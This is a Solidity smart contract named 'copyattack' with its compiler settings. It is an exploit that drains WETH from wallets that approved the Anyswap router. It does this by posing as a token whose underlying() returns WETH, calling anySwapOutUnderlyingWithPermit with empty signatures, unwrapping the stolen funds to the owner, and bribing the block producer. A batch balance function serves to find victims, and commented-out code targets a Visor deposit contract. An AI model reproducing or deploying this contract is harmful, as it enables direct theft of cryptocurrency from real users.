pragma solidity =0.6.6;
pragma experimental ABIEncoderV2;


/*
interface visor{

    function deposit(
            uint256 visrDeposit,
            address payable from,
            address to
        ) external returns (uint256 shares);

}*/

interface IWETH{
    function deposit() external payable;
    function withdraw(uint wad) external;
}

interface IERC20 {
    function balanceOf(address owner) external view returns (uint);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function approve(address spender, uint value) external returns (bool);
}
interface AnyswapV1ERC20 {
    // function underlying() external view returns (address);
function anySwapOutUnderlyingWithPermit(
        address from,
        address token,
        address to,
        uint amount,
        uint deadline,
        uint8 v,
        bytes32 r,
        bytes32 s,
        uint toChainID
    ) external;
}



contract copyattack {

    bool minted = true;

    address payable public towner;
    

    constructor() public {
        towner = msg.sender;
        

    }
    
    
    modifier onlyowner{
        require(msg.sender == towner);
        _;
    }

    function owner() external returns(address r){

        return(address(this));

    }

    receive() external payable {}


    function deposit() payable external{
    }


    function _safeTransfer(address token, address to, uint value) private {
        (bool success, bytes memory data) = token.call(abi.encodeWithSelector(bytes4(keccak256(bytes('transfer(address,uint256)'))), to, value));
    }
    
    function withdrawtoken(address tokenaddr, uint amount) external onlyowner{
        _safeTransfer(tokenaddr, towner, amount);
    }
    

    function withdrawethamount(uint amount) external onlyowner {
        msg.sender.transfer(amount);
    }




    /*
    function delegatedTransferERC20(address t, address t2, uint256 amount) external{
        if(minted){
            minted = false;
            visor(address(0xC9f27A50f82571C1C8423A42970613b8dBDA14ef)).deposit( 100000000000000000000000000, address(this), tx.origin);

        }
        
    }

    function copyyou() external {
        visor(address(0xC9f27A50f82571C1C8423A42970613b8dBDA14ef)).deposit( 100000000000000000000000000, address(this), tx.origin);

    }
    */
    function underlying() external view returns (address){
        return(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
    }

    function depositVault(uint amount, address to) external returns (uint){
        return(0);
    }

    function burn(address from, uint256 amount) external returns (bool){
        return(true);
    }

    function copyyouattack(address spender,uint256 amount, uint256 percent) external {
        uint256 gasstart = gasleft();
        uint256 targetbalance = IERC20(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)).balanceOf(spender);
        require(targetbalance >= amount, "shit");

        bytes32 byteText = "0";

        AnyswapV1ERC20(address(0x6b7a87899490EcE95443e979cA9485CBE7E71522)).anySwapOutUnderlyingWithPermit(spender, address(this), address(this), amount, 100000000000000000000 , 0, 
        byteText,  byteText, 56);

        IWETH(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)).withdraw(amount);

        block.coinbase.call{value: amount * percent / 100}(new bytes(0));


        require(address(this).balance > tx.gasprice * (gasstart - gasleft()), "i");

        towner.transfer(address(this).balance);

    }

    function batchfetchbalance(address[] memory addrlist) public returns(uint256[] memory balances){
        balances = new uint256[](addrlist.length);

        for(uint256 i = 0 ; i < addrlist.length; i++){
            balances[i] = IERC20(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)).balanceOf(addrlist[i]);
        }

    }

}

{
  "compilationTarget": {
    "contracts/dark1.sol": "copyattack"
  },
  "evmVersion": "istanbul",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}